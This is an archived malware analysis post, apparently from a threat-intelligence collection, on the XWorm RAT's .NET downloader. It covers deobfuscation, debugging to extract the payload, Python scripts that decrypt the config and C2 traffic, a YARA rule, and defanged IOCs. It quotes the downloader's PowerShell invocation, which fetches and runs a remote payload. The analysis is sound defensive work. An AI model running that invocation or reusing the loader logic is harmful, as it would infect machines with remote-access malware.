{
	"id": "26bcc474-4e4a-4db5-ad27-2a2d7121a3bc",
	"created_at": "2026-04-06T01:32:41.773093Z",
	"updated_at": "2026-04-10T13:11:51.473693Z",
	"deleted_at": null,
	"sha1_hash": "68ef5aa72a3666d3e9a6705e78f3918fe0b82f80",
	"title": "XWorm Part 2 - From Downloader to Config Extraction",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1329090,
	"plain_text": "XWorm Part 2 - From Downloader to Config Extraction\r\nPublished: 2025-07-06 · Archived: 2026-04-06 00:22:59 UTC\r\nOverview\r\nIn Part 2 of this XWorm malware analysis series, we analyze a .NET DLL downloader responsible for delivering XWorm.\r\nThis stage of the analysis focuses on using debugging techniques to extract the final payload, followed by performing\r\ndecryption of XWorm’s configuration.\r\nTechnical Analysis\r\nDLL Downloader\r\nDropping our extracted PE from Part 1 into Detect It Easy reveals a 32-bit .NET DLL.\r\n figure 1 -\r\nDetect it Easy .NET DLL downloader output\r\nUsing dnSpy to decompile the DLL, we can navigate to the method invoked by the PowerShell script from Part 1, which is\r\nthe VAI() method located inside of the Home class in the ClassLibrary1 namespace.\r\nfigure 2 - decompiled VAI() method from DLL downloader\r\nhttps://malwaretrace.net/posts/xworm-part-2/\r\nPage 1 of 11\n\nThe downloader accepts builder arguments from the previously observed PowerShell script to control how the final payload\r\nis delivered. Our sample passes an encrypted URL string, a path, filename, filetype and a few other values as seen in the\r\nbelow snippet.\r\n1\r\n2\r\n3\r\n$builder_args = @('0hHduIzYzIDN4MDMxcTY4MjY2gDM2QGN3gDO1MzNiJDM1ETZf9mdpVXcyF2L92Yuc2bsJ2b0NXZ29GbuQnchR3cs92bwRWYlR2LvoDc0RH\r\n$loaded_assembly.GetType(\"ClassLibrary1.Home\").GetMethod(\"VAI\").Invoke($null, $builder_args);\r\nTo make static analysis easier, we can can run the sample through de4dot, a popular .NET deobfuscation tool.\r\n1 .\\de4dot.exe .\\assembly.mal\r\nAfter loading output file extracted_assembly-cleaned.mal into dnSpy, we can see symbols have been renamed to be\r\nhuman-readable, previously being Unicode escaped like \\uE777 .\r\nfigure 3 - cleaned output from de4dot showing deobfuscated symbols\r\nStrings are resolved during runtime using method Class237.smethod_0() , which takes an integer ordinal and returns a\r\ndecrypted string.\r\nfigure 4 - string resolver function using hashtable lookup\r\nConstant unfolding methods are also used to resolve double and float values during runtime as seen in figure 5 and 6.\r\n figure 5 - runtime double calculation method\r\n figure 6 - runtime integer\r\ncalculation method\r\nWe can replace all calls to these methods with their return value using a publicly available .NET string decryption tool\r\nwritten by n1ght-w0lf1. This will make static analysis easier, allowing us to view resolved strings and constants within\r\nhttps://malwaretrace.net/posts/xworm-part-2/\r\nPage 2 of 11\n\ndnSpy. After defining the target method signatures within the decryption script, we can run python3\r\ndotnet_string_decryptor.py C:\\path\\to\\assembly .\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\nclass StringDecryptor:\r\n DECRYPTION_METHOD_SIGNATURES = [\r\n { // string resolver signature\r\n \"Parameters\": [\"System.Int32\"],\r\n \"ReturnType\": \"System.String\"\r\n },\r\n { // double resolver signature\r\n \"Parameters\": [\"System.Int32\"],\r\n \"ReturnType\": \"System.Double\"\r\n },\r\n { // int resolver signature\r\n \"Parameters\": [\"System.Int32\"],\r\n \"ReturnType\": \"System.Int32\"\r\n },\r\n ]\r\nLoading the output assembly into dnSpy and translating some of the Portuguese parameter names, we can begin to make\r\nsense of the main function. The first 54 lines perform various anti-vm checks, which we will want to skip past once\r\ndebugging.\r\nfigure 7 - anti-vm checks in deobfuscated main function\r\nOf interest are the last few lines that are executed after builder arguments are parsed. This is where the final payload is\r\ndownloaded and decrypted before passing to x32.Run or x64.Load for execution depending on the final payload’s\r\narchitecture.\r\nhttps://malwaretrace.net/posts/xworm-part-2/\r\nPage 3 of 11\n\nfigure 8 - payload download and execution logic based on architecture\r\nUsing a dynamic approach, we can debug this DLL using dnSpy to extract the downloaded payload, where we use\r\nPowerShell as our debugger host process. By loading the assembly into our PowerShell process, we can invoke methods\r\nfrom the downloader directly within the command line. This is a debugging trick I learned through a video by\r\nMalwareAnalysisForHedgehogs2 that I found in the OALabs malware reverse engineering Discord channel3.\r\nRunning the following will load the assembly into our PowerShell process.\r\n1 [Reflection.Assembly]::LoadFile(\"C:\\path\\to\\assembly\");\r\nWe can then attach dnSpy’s debugger to our PowerShell process via Debug → Attach to Process.\r\nExceptions were thrown when attempting to debug the deobfuscated DLL, though it was still helpful to reference\r\nduring debugging of the original sample.\r\nThen, we can set breakpoints on the first line of VAI() to avoid executing anti-analysis checks, as well as the start of the\r\ndownload logic.\r\n figure 9 - breakpoint\r\nat start of VAI() before anti-vm logic\r\nhttps://malwaretrace.net/posts/xworm-part-2/\r\nPage 4 of 11\n\nfigure 10 - breakpoint set on payload download logic\r\nNavigating back to the PowerShell window, the below can be run to invoke the downloader using arguments from the\r\nprevious script.\r\n1 [ClassLibrary1.Home]::VAI('0hHduIzYzIDN4MDMxcTY4MjY2gDM2QGN3gDO1MzNiJDM1ETZf9mdpVXcyF2Lt92Yuc2bsJ2b0NXZ29GbuQnchR3cs92bwRWYlR\r\nOnce we hit our initial breakpoint, we can right-click the line where download logic begins and click “Set Next Statement”\r\nto skip past argument parsing and anti-vm checks.\r\nAfter stepping through the code, we see a URL string is crafted using the first parameter passed to VAI() .\r\nfigure 11 - reconstructed URL from first VAI() parameter\r\nhttps://malwaretrace.net/posts/xworm-part-2/\r\nPage 5 of 11\n\nAn HTTP GET request is then made to the crafted URL to download a hex encoded blob which is then reversed, revealing\r\nthe magic bytes of a PE file 4D 5A .\r\nfigure 12 - hex payload showing MZ header\r\nOpening the decoded PE file into Detect It Easy reveals a 32-bit .NET assembly.\r\n figure 13 -\r\nDetect it Easy output for XWorm\r\nDecompiling the assembly in dnSpy confirms we now have the final XWorm payload.\r\n figure 14 - dnSpy shows\r\nXWorm identity\r\nXWorm\r\nThe entrypoint function [Stub.Main]::Main() performs a sleep operation before decrypting the configuration stored in the\r\n[Settings] class.\r\nhttps://malwaretrace.net/posts/xworm-part-2/\r\nPage 6 of 11\n\nfigure 15 - XWorm configuration structure in memory\r\nValues are decrypted using AES in ECB mode with a 256 bit key, where the key is derived from the MD5 hash of the mutex\r\nconfig value.\r\nfigure 16 - AES decryption routine for configuration\r\nThe sample’s configuration values can be decrypted with the below Python script, revealing the configuration seen in figure\r\n17.\r\nhttps://malwaretrace.net/posts/xworm-part-2/\r\nPage 7 of 11\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\nfrom Crypto.Cipher import AES\r\nimport hashlib\r\nimport base64\r\n# dictionary of encrypted config values\r\nsettings = {\r\n\"Hosts\" : \"hjpLEVZlk59e0F/4oPBKM+ynOibAJGsakXT1qyefhjg=\",\r\n\"Port\" : \"bT9Sep3Oxd5SvGi21oa2dg==\",\r\n\"KEY\" : \"GlFkVHYzjULH0jPfIt0NTQ==\",\r\n\"SPL\" : \"roSvIOX9LqqCx4ZfsEegyg==\",\r\n\"Groub\" : \"/xlaUqfu8vOhWKfkJ57YLA==\",\r\n\"USBNM\" : \"FwKiqfBGA/KFY56eS1wZrQ==\",\r\n\"Mutex\" : \"NOQFTA4Uaa0s9lW4\"\r\n}\r\n# generate key using mutex value\r\ndef get_key_from_mutex(mutex):\r\nmutex_md5 = hashlib.md5(mutex.encode())\r\nmutex_md5 = mutex_md5.hexdigest()\r\nkey = bytearray(32)\r\nkey[:16] = bytes.fromhex(mutex_md5)\r\nkey[15:31] = bytes.fromhex(mutex_md5)\r\nkey[31] = 0x00\r\nreturn key\r\n# decrypt setting with key using AES in ECB mode\r\ndef decrypt_setting(key, encrypted_setting):\r\ndecoded_setting = base64.b64decode(encrypted_setting)\r\ncipher = AES.new(key, AES.MODE_ECB)\r\ndecrypted_setting = cipher.decrypt(decoded_setting)\r\nreturn decrypted_setting.decode('utf-8').strip()\r\ndef main():\r\nkey = get_key_from_mutex(settings[\"Mutex\"])\r\nprint(f'Hosts: {decrypt_setting(key, settings[\"Hosts\"])}')\r\nprint(f'Port: {decrypt_setting(key, settings[\"Port\"])}')\r\nprint(f'KEY: {decrypt_setting(key, settings[\"KEY\"])}')\r\nprint(f'SPL: {decrypt_setting(key, settings[\"SPL\"])}')\r\nprint(f'Groub: {decrypt_setting(key, settings[\"Groub\"])}')\r\nprint(f'USBNM: {decrypt_setting(key, settings[\"USBNM\"])}')\r\nprint(f'Mutex: {settings[\"Mutex\"]}')\r\nif __name__==\"__main__\":\r\nmain()\r\n figure 17 - decrypted configuration\r\nPacket Decryption\r\nXWorm communicates with its C2 server through AES GCM encrypted messages over TCP. The protcol begins with an\r\ninteger prefix defining the message length, followed by a null-byte where the encrypted message follows. A simple\r\nvisualization of the packet structure is shown below.\r\nhttps://malwaretrace.net/posts/xworm-part-2/\r\nPage 8 of 11\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\nPacket Structure (Length Prefix + Null Delimiter + AES Encrypted Payload)\r\n[0] [1] [2] [3] [4] [5] [6] ...\r\n+--------+--------+--------+--------+--------+--------+--------+\r\n| '3' | '2' | \\x00 | ? | ? | ? | ? |\r\n+--------+--------+--------+--------+--------+--------+--------+\r\n| Length | Length | Delim | AES Encrypted Message |\r\n+--------+--------+--------+--------+--------+--------+--------+\r\n ...\r\nMessages are encrypted using dedicated method [Stub.Helper]::AES_Encryptor() which uses AES in ECB mode with a\r\n256-bit key. The key is the MD5 hash of the decrypted KEY config setting, converted from hex. An image of this method is\r\nshown below.\r\n figure\r\n18 - packet encryption method\r\nThe below Python script can be used to decrypt an XWorm packet as seen in figure 19.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\nfrom Crypto.Util.Padding import unpad\r\nfrom Crypto.Cipher import AES\r\nimport hashlib\r\nimport base64\r\n# hex encoded c2 packet\r\nencrypted_packet = '3238380049d8de8dda622fe99fb29522a6ed7e513ec0d73f2e48a1717353eae6666c920dc909f579ab6723d4e38dfc30ed4cf5f5\r\n# dictionary of encrypted config values\r\nsettings = {\r\n\"Hosts\" : \"hjpLEVZlk59e0F/4oPBKM+ynOibAJGsakXT1qyefhjg=\",\r\n\"Port\" : \"bT9Sep3Oxd5SvGi21oa2dg==\",\r\n\"KEY\" : \"GlFkVHYzjULH0jPfIt0NTQ==\",\r\n\"SPL\" : \"roSvIOX9LqqCx4ZfsEegyg==\",\r\n\"Groub\" : \"/xlaUqfu8vOhWKfkJ57YLA==\",\r\n\"USBNM\" : \"FwKiqfBGA/KFY56eS1wZrQ==\",\r\n\"Mutex\" : \"NOQFTA4Uaa0s9lW4\"\r\n}\r\n# generate config AES key using `Mutex` from config\r\ndef get_config_key(mutex_setting):\r\nmutex_md5 = hashlib.md5(mutex_setting.encode())\r\nmutex_md5 = mutex_md5.hexdigest()\r\nkey = bytearray(32)\r\nkey[:16] = bytes.fromhex(mutex_md5)\r\nkey[15:31] = bytes.fromhex(mutex_md5)\r\nkey[31] = 0x00\r\nreturn key\r\n# generate c2 AES key using `KEY` from config\r\ndef get_c2_key(key_setting):\r\nkey = get_config_key(settings[\"Mutex\"])\r\nhttps://malwaretrace.net/posts/xworm-part-2/\r\nPage 9 of 11\n\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\n47\r\n48\r\n49\r\n50\r\n51\r\n52\r\n53\r\n54\r\n55\r\n56\r\nconfig_key = decrypt_setting(key, settings[\"KEY\"])\r\nc2_key = bytes.fromhex(hashlib.md5(config_key).hexdigest())\r\nreturn c2_key\r\n# decrypt setting with key using AES in ECB mode\r\ndef decrypt_setting(key, encrypted_setting):\r\ndecoded_setting = base64.b64decode(encrypted_setting)\r\ncipher = AES.new(key, AES.MODE_ECB)\r\ndecrypted_setting = unpad(cipher.decrypt(decoded_setting), AES.block_size)\r\nreturn decrypted_setting\r\n# decrypt hex encoded c2 traffic\r\ndef decrypt_packet(c2_key, encrypted_packet):\r\npacket_bytes = bytes.fromhex(encrypted_packet.split(\"00\", 1)[1]) # remove packet length header\r\ncipher = AES.new(c2_key, AES.MODE_ECB)\r\ndecrypted_packet = unpad(cipher.decrypt(packet_bytes), AES.block_size)\r\nreturn decrypted_packet.decode(\"utf-8\")\r\ndef main():\r\nc2_key = get_c2_key(settings[\"KEY\"])\r\nprint(f\"\\nDecrypted Packet:\\n\\n{decrypt_packet(c2_key, encrypted_packet)}\")\r\nif __name__==\"__main__\":\r\nmain()\r\nfigure 19 - decrypted C2 check-in packet\r\nYARA\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\nrule XWormRAT {\r\nmeta:\r\nauthor = \"Jared G.\"\r\ndescription = \"Detects unpacked XWorm RAT\"\r\ndate = \"2025-07-06\"\r\nsha256 = \"6cae1f2c96d112062e571dc8b6152d742ba9358992114703c14b5fc37835f896\"\r\nreference = \"https://malwaretrace.net/posts/xworm-part-2\"\r\n strings:\r\n $s1 = \"-ExecutionPolicy Bypass -File\" ascii wide\r\n $s2 = \"sendPlugin\" ascii wide\r\n $s3 = \"savePlugin\" ascii wide\r\n $s4 = \"RemovePlugins\" ascii wide\r\n $s5 = \"Plugins Removed!\" ascii wide\r\n $s6 = \"Keylogger Not Enabled\" ascii wide\r\n $s7 = \"RunShell\" ascii wide\r\n $s8 = \"StartDDos\" ascii wide\r\n $s9 = \"StopDDos\" ascii wide\r\n $s10 = \"Win32_Processor.deviceid=\\\"CPU0\\\"\" ascii wide\r\n $s11 = \"SELECT * FROM Win32_VideoController\" ascii wide\r\n $s12 = \"Select * from AntivirusProduct\" ascii wide\r\n $s13 = \"set_ReceiveBufferSize\" ascii wide\r\n $s14 = \"set_SendBufferSize\" ascii wide\r\n $s15 = \"ClientSocket\" ascii wide\r\n $s16 = \"USBNM\" ascii wide\r\n $s17 = \"AES_Encryptor\" ascii wide\r\n $s18 = \"AES_Decryptor\" ascii wide\r\n condition:\r\n 12 of them\r\n}\r\nIOCs\r\nhttps://malwaretrace.net/posts/xworm-part-2/\r\nPage 10 of 11\n\nAll hashes from the below IOC table will be available for download on MalShare.\r\nLabel IOC\r\nXWorm Download\r\nURL\r\nhxxp[://]deadpoolstart[.]lovestoblog[.]com/arquivo_e1502b7358874d6086b38a71038423c2[.]txt\r\nXWorm C2 deadpoolstart2064[.]duckdns[.]org:7021\r\nDLL Downloader\r\nSHA-256 Hash\r\nc2bce00f20b3ac515f3ed3fd0352d203ba192779d6b84dbc215c3eec3a3ff19c\r\nXWorm SHA-256\r\nHash\r\n6cae1f2c96d112062e571dc8b6152d742ba9358992114703c14b5fc37835f896\r\nReferences and Resources\r\n1. https://github.com/n1ght-w0lf/dotnet-string-decryptor/ ↩︎\r\n2. https://www.youtube.com/watch?v=wLf_Ln8jupY\u0026t=1300s ↩︎\r\n3. https://discord.gg/oalabs ↩︎\r\nSource: https://malwaretrace.net/posts/xworm-part-2/\r\nhttps://malwaretrace.net/posts/xworm-part-2/\r\nPage 11 of 11",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://malwaretrace.net/posts/xworm-part-2/"
	],
	"report_names": [
		"xworm-part-2"
	],
	"threat_actors": [],
	"ts_created_at": 1775439161,
	"ts_updated_at": 1775826711,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/68ef5aa72a3666d3e9a6705e78f3918fe0b82f80.pdf",
		"text": "https://archive.orkl.eu/68ef5aa72a3666d3e9a6705e78f3918fe0b82f80.txt",
		"img": "https://archive.orkl.eu/68ef5aa72a3666d3e9a6705e78f3918fe0b82f80.jpg"
	}
}